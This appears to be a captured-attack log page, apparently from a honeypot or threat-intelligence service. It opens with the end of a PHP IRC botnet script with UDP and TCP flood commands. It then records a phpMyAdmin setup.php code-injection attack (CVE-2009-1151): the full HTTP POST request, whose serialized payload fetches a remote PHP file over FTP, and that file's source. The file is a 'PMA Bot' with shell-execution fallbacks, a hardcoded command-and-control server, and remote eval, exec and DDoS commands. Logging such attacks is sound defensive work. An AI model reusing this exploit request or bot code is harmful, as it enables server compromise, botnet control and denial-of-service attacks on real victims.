$packetsize = $mcmd[11];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <port> <time> <size>");}
break;
case "udpfloodnine":
if ($mcmd[11] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[12] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>12) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$port = $mcmd[10];
$time = $mcmd[11];
$packetsize = $mcmd[12];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <port> <time> <size>");}
break;
case "udpfloodten":
if ($mcmd[12] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[13] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>13) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$port = $mcmd[11];
$time = $mcmd[12];
$packetsize = $mcmd[13];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <port> <time> <size>");}
break;
case "udpfloodeleven":
if ($mcmd[13] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[14] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>14) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$port = $mcmd[12];
$time = $mcmd[13];
$packetsize = $mcmd[14];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <port> <time> <size>");}
break;
case "udpfloodtwelve":
if ($mcmd[14] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[15] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>15) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$host12 = $mcmd[12];
$port = $mcmd[13];
$time = $mcmd[14];
$packetsize = $mcmd[15];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
$fp12 = fsockopen("udp://".$host12,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp12,$packet);
fflush($fp12);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
fclose($fp12);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <ip12> <port> <time> <size>");}
break;
case "tcpconn":
if(count($mcmd)>3) { $this->tcp($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "botrestart":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Restarting!");
fclose($this->conn);
$this->start();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
case "botdie":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Stopping!");
fclose($this->conn);
exit();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
}
}
break;
}
}
}
}
}
function send($msg) {
fwrite($this->conn,$msg."\r\n");
}
function join($chan,$key=NULL) {
$this->send("JOIN ".$chan." ".$key);
}
function auth($chan) {
$this->send("PART ".$chan);
}
function privmsg($to,$msg) {
$this->send("PRIVMSG ".$to." :".$msg);
}
function notice($to,$msg) {
$this->send("NOTICE ".$to." :".$msg);
}
function set_nick() {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $OS = "Windows";} else {$OS = "Linux";}
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$prefix = "[".$OS."]".$this->nick."[".$this->config['prefix']."]|%s";
$nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
$this->nick = sprintf($prefix, $nickk);
$this->send("NICK ".$this->nick);
}
function tcp($host,$port,$time) {
$this->privmsg($this->config['chan'], "[\2tcp started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen("tcp://".$host, $port, $e, $s, 5);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[\2tcp Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$poll = new sell;
$poll->start();
?>
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
[Attack info]
Attacker:
80.82.70.178
Dest. port: 80
Time: 10/09/2020 22:36:05
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS202425 IP Volume inc
Location: Anse-aux-Pins, Anse aux Pins
rDNS: no-reverse-dns-configured.com
Description
phpMyAdmin is prone to a remote PHP code-injection vulnerability on the page "setup.php". An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Versions prior to phpMyAdmin 2.11.9.5 and 3.1.3.1 are vulnerable.CVE
CVE-2009-1151Author
Adrian "pagvac" PastorPlugin ID
oosheefee1baixeinief5nociu5shohhPOST /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
Content-Length: 244
cookie2: $Version="1"
Host: 176.94.18.109
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://176.94.18.109/phpMyAdmin-2.10.0.0/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded
action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A35%3A%22ftp%3A%2F%2F109%2E201%2E143%2E177%2Fpub%2FGodly%2Ephp%22%3B%7D%7D
Resource ( 1 / 1 )
MD5: c1028b3c2cf9b0f6d8055694191c3447
Type: text/x-php
Size: 54644
URL: ftp://109.201.143.177/pub/Godly.php
<?php
// Php My Admin PMA Bot
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))[email protected]_exec($command);
elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class sell
{
var $config = array(
"server"=>"51.222.31.151", // Server IP
"port"=>"5467", // Server Connection Port
"password"=>"", // Server Connection password
"prefix"=>"DDoS", // Bot Name
"maxrand"=>"8", // Random Character Length
"chan"=>"#PmaIRC", // Main Channel
"key"=>"", // Main Channel Key
"Windows"=>"#Windows", // Windows Device Channel
"Linux"=>"#Linux", // Linux Device Channel
"trigger"=>"-", // Command Prefix
"maxtime"=>"120", // Max Time
"maxsize"=>"1024" // Max Size
);
var $users = array();
var $adminconfig = array("Erratic",);
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$pass = $this->config['password'];
$alph = range("0","9");
$this->send("PASS ".$pass."");
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
else $ident = "Linux";
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(strpos($this->buf, '(Too many connections from your IP)')!==false) { fclose($this->conn); exit();}
if(isset($cmd[1]) && $cmd[1] =="001") {
$this->auth($this->config['auth']);
$this->join($this->config['chan'],$this->config['key']);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("".$this->config['Windows']."");
else $this->join("".$this->config['Linux']."");
continue;
}
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if(substr($mcmd[0],0,1)=="".$this->config['trigger']."")
{
switch(substr($mcmd[0],1))
{
case "mail":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Failed Sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "maxtime":
$this->notice($nick, "0[\20The Max Time is9 ".$this->config['maxtime']."sec0!\2]");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"9[\2Info\2]:0 ".$uname." (safe: ".$safemode.")");
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
if (!in_array($nick, $this->adminconfig)) {
break;
}
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
if (!in_array($nick, $this->adminconfig)) {
break;
}
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "Time":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['maxtime']) {
